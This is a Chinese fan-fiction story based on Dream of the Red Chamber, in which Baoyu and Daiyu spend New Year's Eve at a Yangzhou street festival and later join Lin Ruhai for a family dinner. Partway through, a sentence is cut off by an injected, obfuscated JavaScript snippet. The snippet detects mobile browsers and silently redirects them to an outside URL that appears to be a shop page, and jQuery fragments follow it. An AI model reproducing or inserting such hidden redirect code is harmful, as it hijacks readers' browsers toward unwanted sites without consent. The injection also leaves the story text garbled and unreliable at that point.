“这个多少钱?真好看,我喜欢。”
“便宜点嘛。”
“大过年的别打孩子——”
熙熙攘攘的街上挤满了人,宝玉兴奋地拉着黛玉穿梭在各干摊位上,“你瞧瞧这个,攒丝的样式,我买了拿回去看看。我买了啊,我买啦。”他手上是一支攒丝垂花流苏,黛玉带着遮风帷帽,小心拿过来看了,“这倒是不错,像是新出的样子。”
人来人往的喧嚣从他耳边消失了一瞬,风吹起黛玉的帷帽,她清丽的脸只露了一眼就足够他沉沦其中,这是从来没有过的美好体验,宝玉只觉得身处仙境一般舒畅。
“前几日老祖宗来信,说是那边府的嫂子没了,我想着定是要我与你说一声的。”黛玉眼看着那些喷火的把式,嘴里同宝玉说话。宝玉怔了一会才想起来说的是谁,他拉住黛玉的手臂:“我晓得了,晚些时候给老祖宗去封信。人越来越多了,我们近些说话。”
晴雯在后面笑,搂住黛玉另一只手,贴着纱面悄声说:“宝玉前几年才出门,老祖宗一天收几封信,想都没带想的,如今倒是不见宝玉去信了,老祖宗只能给姑娘写了。”黛玉挑眉,小声问道:“这是真的?他竟有这样的一面。”宝玉拉开她们,左右看看:“背着我说些什么?好的还是不好的?若是不好的便不许说了。好妹妹,你且告诉我吧。”
飘飘洒洒的几点星子落到了大地上,几世没离过北方的宝玉抬眼只看到阴蒙蒙的天。雪落在鼻尖上很快化成凉意,宝玉摸摸脸,转头把黛玉的面纱放下来:“今日下雪了,我们找个地方歇歇脚。”黛玉看着他的轻柔动作笑道:“也好。”
乌篷船从弯月似的桥下穿过,远远地回荡着伶人的弹唱词曲。街头的男女老少混着雪跳着不知名的舞蹈,更有抱着琵琶的老汉和敲着木桶的妇人来和,连摆摊卖年蒸灶糖的婆子都离开摊子跟着载歌载舞起来。宝玉看得呆了,揣摩着他们的歌舞,却是找不到出处。
袭人紫鹃并着秋纹雪雁等在玩行酒令,眼见着晴雯投了个点数要输了,她计上心头拉了黛玉作下家,于是黛玉便要饮一杯。黛玉举着酒杯环视一圈,看到入了迷的宝玉,便在他身边坐下,递来一杯热酒:“分行接绮树,倒影入清漪。宾客开怀,悠然畅饮,你且饮一杯。”
宝玉就着她的手饮尽,黛玉笑道:“如此一来,算我也饮了。”见她要走,宝玉拦住她:“好妹妹,陪我看一会吧。”听他这么说,黛玉没急着回去,靠在栏杆上,风吹动她鬓边的头发:“倒是许久不见这样的景象了。”
“可是扬州城的习俗?有什么讲究吗?”宝玉好奇地问,黛玉抬眼只看他一眼便欣赏着下面热闹的氛围:“哪有什么习俗讲究?不过是有感而发。你若喜欢,带了茗烟一并下去跳个尽兴才是真的。”正说着这话,茗烟早在下头同几个年纪相仿的人玩闹起来,他眼尖看到宝玉伏在栏杆上,激动地挥挥手:“爷!我在这!我在这里!”
宝玉被他带动起来,捏捏黛玉的脸立刻收回手笑道:“你和她们玩,若是输了记在我头上,我替你。这儿风大,当心吹凉了身子。”黛玉被他的动作弄得恼了,又听着他句句为着自己的话心下一暖:“说这么多,快走吧,有这些人还担心我不成?”
待到暮色沉沉,临水的两岸挂起了灯,水面上荡起晃眼的波澜,一层层把喧闹的行人和温暖的灯光推开。街上丝毫不见冷清,宝玉周围环绕着大声唱歌的挥舞着身体的人群,忽地中间空出一块地方,会些本事的几个束着衣服扎了头发往里头一个筋斗,爆出阵阵叫好声。
举着木棒卷子跑过来吹火的、顶着狮头扭着屁股来舞狮的、戴了鬼祟面具张着嘴来吓唬人的络绎不绝。楼上雅间厅堂早站满了人,娘子抛花瓣银铃生生入耳,小生凭栏吟文章句句诚心。
宝玉哪里看见过如此情景,他只觉得抛去束缚之后跳的舞蹈才是他真正的心境,心里默念:这便是贾宝玉除夕舞。从前常与姊妹们说说笑笑看戏摇乐子,这些平常日子也做得。那些热闹的寂寥的融洽的落寞的都扔到九霄云外,此刻的他最为肆意,没有人认识他,没有人会指点他,大家都是一样的潇洒快活,共同欢庆着盛大的节日,他几乎要落下泪来。忽然他停下来站在人群里,身边来来往往过了无数人,没有别的,他现在很想念黛玉的声音,很想要知道她在做什么。
几个丫环拥着黛玉齐齐坐着,秋纹指了一个:“那是宝玉!”袭人捂着嘴笑:“那个才是,那个哪里戴了玉,没戴宝玉的怎么是宝玉?”黛玉拿帕子遮着脸笑,与她们说笑了一阵才往楼下看,许是冥冥之中的缘分,她一眼就看见了熟悉的人,那双澄澈的眼睛里满是她的身影。
四目相对,谁也没有动作。
呜——摆着五彩狮阵的长龙跑来,敲锣打鼓好不热闹。黛玉只看见宝玉嘴里张张合合,她皱着眉正想问个明白却看见宝玉笑了一下灿若星辰,随后提着裤脚跑上来了。
“妹妹,你可瞧见我了?”宝玉噔噔地上来了,挤开紫鹃挨着她坐下来,黛玉抿了口茶,眨着茫然的大眼睛:“嗯?你方才在何处?我们几个一并找你都没找到呢。”“是吗?哎,我孤家寡人的,茗烟也不知去哪里了,该打一顿才好了。”宝玉暗暗生气,瞥着黛玉神情。黛玉果然急了,拉住他的衣袖:“过节却把人家打一顿?亏得人家方才一直守在你旁边。”晴雯早笑出了声被紫鹃捂着嘴翻个身推出去了。
黛玉气得拿手锤他,偏过头去有些怒意:“你这没心肝的,存心逗我。”宝玉这次没有立即就说好话哄着她,只是笑着看她的动作,黛玉推了两下也不见他反应,对上有些暖意的眼神自觉没趣停了下来收回手,宝玉贴近握住她的手:“还生气吗?”滚烫的手心攥着冰凉的手掌,黛玉只觉得脸上绯红一片,偏生宝玉见她通红的脸还非要凑近摸她的额头:“这儿风大,头疼吗?身子有没有什么不爽快的?”
她背过身去,回想着方才的事情,又忍不住想起两人之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163872|196609||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间的相处。虽说一同长大却不像别的姊妹那样各有分界,这个无赖硬是要挤进她所有的日常生活里来,还要占据她心里面的一席之地。只一霎那,黛玉便想明白了所有事情,也许他就是那个意思,可那样便多出许多愁绪来,她一时不知如何是好。
“妹妹?林妹妹?好妹妹,我再也不敢了。我再也不说这样的话了,我,我再说逗你的话立即就去死!”宝玉急得在后面作揖,黛玉捂住他的嘴,勉强笑道:“好端端地又说这些话,我只当没听到这句,便算是你童言无忌吧!”她站起身丢下宝玉便去找雪雁了,“父亲可下职了?”
见黛玉表情不太好,雪雁抠着手回答:“下职了,因当是回府了。”“那便回去吧。”紫鹃进来给她戴上帷帽,搀着黛玉的手扶着她离开了,一点儿也没顾身后的宝玉。因而宝玉还是呆愣愣地坐在那里,迷茫地看着自己的手:“为何又不理我了?”
袭人轻轻走进来拍拍他的肩,柔声道:“可是跟林姑娘说错话了?”宝玉猛地回头看着她,盯着袭人从吃惊到不解到后背发毛,“怎,怎么了?”宝玉笑起来,回头依旧盯住自己的掌心,依恋地摩挲着:“原来是被发现了。”
几人是悠闲地出来玩的,只有茗烟抱着遮挡住视线的大包小盒紧紧跟着姑娘们,“好姐姐们,倒是慢些走啊!”晴雯提了一盒子,傲娇地走了:“没出息的,别说我不疼你,哼。”
宝玉步伐不紧不慢,直到黛玉要进院子才追上去一把拉住她:“你们都各自去吧,我同妹妹说几句。”紫鹃顿时放了手,两个人的事情最好是当面说清楚,她笑着:“姑娘,我先去收拾屋子。”
“你不理我是因为不想我责骂茗烟还是为了别的?”宝玉左转右转,黛玉躲着不肯正眼看他,听了这话黛玉瞪大眼睛想要质问他,却还是忍着情绪没有说话。宝玉弯腰凑近她带着笑容:“对于我来说,妹妹同别人不一样。不论是亲疏或是远近,我都和妹妹一道。”他轻声说话又真挚无比:“只一句,我们之间不必插进来别人,就我们两个好好的。”
“咳咳咳——”林如海停驻在石桥上捂着胸口咳嗽,宝玉忙扶着黛玉过去:“慢些。姑父,身子可好些了?怎的站在风口?今日除夕也下职得晚,还是要当心身体,莫操劳过度。”林如海怜爱地看着女儿,扫了一眼宝玉道:“今日除夕便去外头走了走,当官者要时刻体恤民生。街上有许多把戏,可看过了?”
“今日买了些小玩意,都是往年我们一家人爱玩的。”黛玉挽着林如海的手,语气欢快:“我从前常常想着,若是再回来定要好好出去玩了,也不负此间美景。”父女两陷入回忆,也多了对往后生活的憧憬。
屋子里早摆了一桌丰盛的团圆宴,分别几年的一家人终于又在一起过年了。宝玉坐在一边看着黛玉兴高采烈的说着,他跟着笑容满脸。
总有许多沉浸生活的瞬间,也有不需要说话也不必参与其中的时刻,他想,现在就很舒服。